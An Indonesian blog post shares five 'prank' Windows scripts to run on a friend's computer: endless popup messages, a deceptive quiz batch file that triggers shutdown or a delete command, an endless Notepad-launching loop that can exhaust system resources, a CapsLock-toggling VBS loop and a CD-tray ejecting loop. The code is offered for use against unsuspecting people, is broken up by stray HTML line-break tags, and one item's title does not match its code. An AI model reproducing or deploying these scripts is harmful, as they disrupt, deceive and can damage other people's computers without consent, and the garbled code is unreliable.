Kode Jahil Buat Ngerjain Teman

Saya sedikit share buat sobat script buat jahilin teman, langsung aja di coba :

 1. Message yg muncul terus menerus cara nya buka notepad lalu masukan script di bawah ini :

@ECHO off<br />:<br /><br />Begin<br /><br />msg * Lagi ngapain ?<br /><br />msg * Hayo buka apa ?<br /><br />msg * Nanti dimarahin ama mak loe<br /><br />msg * Makannya jangan sembrono !<br /><br />msg * minta bantuan gih sono !<br /><br />msg * Udah instal ulang aja !!!!<br /><br />msg * tit............................<br />GOTO BEGIN</div>

bisa dirubah sesuai keinginan anda!
simpan dengan berekstensi .bat contoh blog.bat


2.  Pertanyaan menjebak, script nya :

@echo off<br /> title quiz hari ini <br /> :menu<br /> cls<br /> echo jika kamu kena virus apa<br /> yang kamu lakukan<br /> pause<br /> echo pilih yang mana:<br /> echo 1. matiin computer<br /> echo 2. format aja<br /> echo 3. bingung ahh<br /> set input=nothing<br /> set /p input=Choice:<br /> if %input%==1 shutdown -s -t<br /> 30<br /> if %input%==2 del c:\xxx<br /> if %input%==3 @ECHO off<br /> msg * muka lo rusak<br /> msg * ngaca dulu gih<br /> msg * hayo lo,cpu lu gw acak2<br /> msg * ud install ulang aja<br /> msg * biar masalah nya kelar<br /> @ECHO off<br /> :top<br /> START %SystemRoot%<br /> \system32\notepad.exe<br /> GOTO top

simpan dengan .bat contoh  jeinsublog.bat




3. Membuka notepad terus-menerus, script nya :

Q@ECHO off<br /> :top<br /> START %SystemRoot%<br /> \system32\notepad.exe<br /> GOTO top

sama simpan dengan .bat contoh jeinsublog.bat

4. Komputer mati sendiri dan ngirim message, script nya :

Set wshShell<br /> =wscript.CreateObject<br /> ("WScript.Shell")<br /> do<br /> wscript.sleep 100<br /> wshshell.sendkeys "{CAPSLOCK}"<br /> loop

simpan dengan .vbs contoh jeinsu.vbs

5. Buka tutup cd room terus menerus, script nya :

Set oWMP = CreateObject<br /> ("WMPlayer.OCX.7")<br /> Set colCDROMs =<br /> oWMP.cdromCollection<br /> do<br /> if colCDROMs.Count >= 1 then<br /> For i = 0 to colCDROMs.Count - 1<br /> colCDROMs.Item(i).Eject<br /> Next<br /> For i = 0 to colCDROMs.Count - 1<br /> colCDROMs.Item(i).Eject<br /> Next<br /> End If<br /> wscript.sleep 5000<br /> loop

simpan dengan .vbs contoh jeinsu1.vbs

NB : Sobat sekedar mengingatkan Kalo jahil jangan Keterlaluan ya . . .